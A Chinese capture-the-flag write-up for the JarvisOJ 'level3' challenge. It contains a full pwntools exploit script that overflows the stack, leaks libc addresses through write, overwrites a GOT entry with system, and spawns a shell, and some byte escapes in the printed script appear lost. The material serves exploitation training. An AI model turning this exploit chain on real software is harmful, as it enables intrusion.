zoukankan      html  css  js  c++  java
  • JarvisOJ——level3——20161106

    PS:
    libc.so中对应的函数的偏移和程序中的got表的偏移是对应的
    在这种套路的题目中:
    主要思路,通过泄露地址和相对偏移,计算systemgot表的位置,然后再一直调用了的函数(题目中是write)的plt表中将指向的got表项改成system的,如果程序还会指执行原本的函数,那么在修改之后就会调用system函数,就达到了我们要的结果
    程序在本机调试的时候,要注意用的libc.so的库不一样,所以在写exp的时候,我们要先用我们本机中的libc.so中的数据调试,在进行提交的时候,将相应的偏移量改成题目中给的libc.so的

    先拿到文件,可以明显的看到.rar,虽然还有后面的一部分,但是实际上还是rar
    我们还是用file看一下

    然后我们修改后缀名,解压压缩包,得到一个可执行文件(level3和一个libc-2.19.so)
    同时为了便于调试,我们通过ldd查看程序调用的是本机的哪个libc,并且把这个库复制的我们当前文件夹下

    在exp中,我们需要将整个程序运行两次——第一次用来泄露信息,第二次进行system的调用(借鉴之前的sctf-pwn200的思路)
    第一次用write和read函数来进行地址的泄露和plt表的修改,然后通过在vulnerable函数调用完成之后返回main函数,进行第二次运行,因为在第一次的时候,plt表已经改写成system的地址,所以在write或者read调用的时候实际上调用的是system,所以拿到shell

    checksec:
    got表是可写的

    然后可以看到 got表是可以改写的


    整个函数可以改写的部分是最后一栏

    !/usr/bin/env python

    encoding: utf-8

    from pwn import *
    proc_name = './level3'
    proc_elf = ELF(proc_name)
    io = process(proc_name)
    context.log_level = 'debug'
    print proc.pidof(io)[0]
    raw_input("debug")
    libc2_system = 0x00040310
    libc2_write = 0x000DAFE0
    libc6_system = 0x0003AD80
    libc6_write = 0x000D5C70
    read_plt = 0x08048310
    write_plt = 0x8048340
    write_got_plt = 0x0804a018
    buf = 0x1111
    pop4 = 0x08048518
    function = 0x08048495
    bin_sh_addr = 0x804a010

    payload1 = 'a'*0x88
    payload1 += p32(buf)#ebp
    payload1 += p32(write_plt)#
    payload1 += p32(pop4)
    payload1 += 'x01x00x00x00' + p32(write_got_plt) + 'x04x00x00x00'
    payload1 += p32(buf)#ebp
    payload1 += p32(read_plt)
    payload1 += p32(pop4)
    payload1 += 'x00x00x00x00' + p32(write_got_plt) + 'x04x00x00x00'
    payload1 += p32(buf)#ebp
    payload1 += p32(read_plt)
    payload1 += p32(pop4)
    payload1 += 'x00x00x00x00' + p32(bin_sh_addr) + 'x04x00x00x00'
    payload1 += p32(function)#ebp
    payload1 += p32(write_plt)
    payload1 += p32(write_plt)
    payload1 += p32(bin_sh_addr)
    io.recvuntil("Input: ")
    io.send(payload1)

    leak_addr = io.recv()[-4:]
    leak_addr_hex = u32(leak_addr)
    print "leak_addr : "
    print leak_addr_hex
    real_system2 = leak_addr_hex - libc2_write + libc2_system
    real_system6 = leak_addr_hex - libc6_write + libc6_system

    print "system addr"

    real_system_send6 = p32(real_system6)

    io.clean()
    io.send(real_system_send6)
    payload3 = '/bin/sh'+'x00'
    io.sendline(payload3)

    io.send(p32(real_system2))

    io.interactive()
    整个过程

    准备工作

    填充栈
    覆盖ebp
    转到开始地址:write_plt

    第一步:泄露地址

    用write函数,传入write_got_plt 的地址,然后打印出来

    第二步:改写write的got表

    第三步:将/bin/sh写入参数,准备传给system

    注意:
    - 写/bin/sh的时候,要注意程序中那些部分可以写,哪些部分不能写
    - 写完/bin/sh的之后,要注意在后面加上 'x00'

    注意:

     - 在io.send()和io.recv()的顺序需要注意,避免在recv之前就发送了send
    - 
    
  • 相关阅读:
    5.19 省选模拟赛 T1 小B的棋盘 双指针 性质
    5.15 省选模拟赛 容斥 生成函数 dp
    5.15 省选模拟赛 T1 点分治 FFT
    5.15 牛客挑战赛40 B 小V的序列 关于随机均摊分析 二进制
    luogu P4929 【模板】舞蹈链 DLX
    CF 878E Numbers on the blackboard 并查集 离线 贪心
    5.10 省选模拟赛 拍卖 博弈 dp
    5.12 省选模拟赛 T2 贪心 dp 搜索 差分
    5.10 省选模拟赛 tree 树形dp 逆元
    luogu P6088 [JSOI2015]字符串树 可持久化trie 线段树合并 树链剖分 trie树
  • 原文地址:https://www.cnblogs.com/volva/p/11813766.html
Copyright © 2011-2022 走看看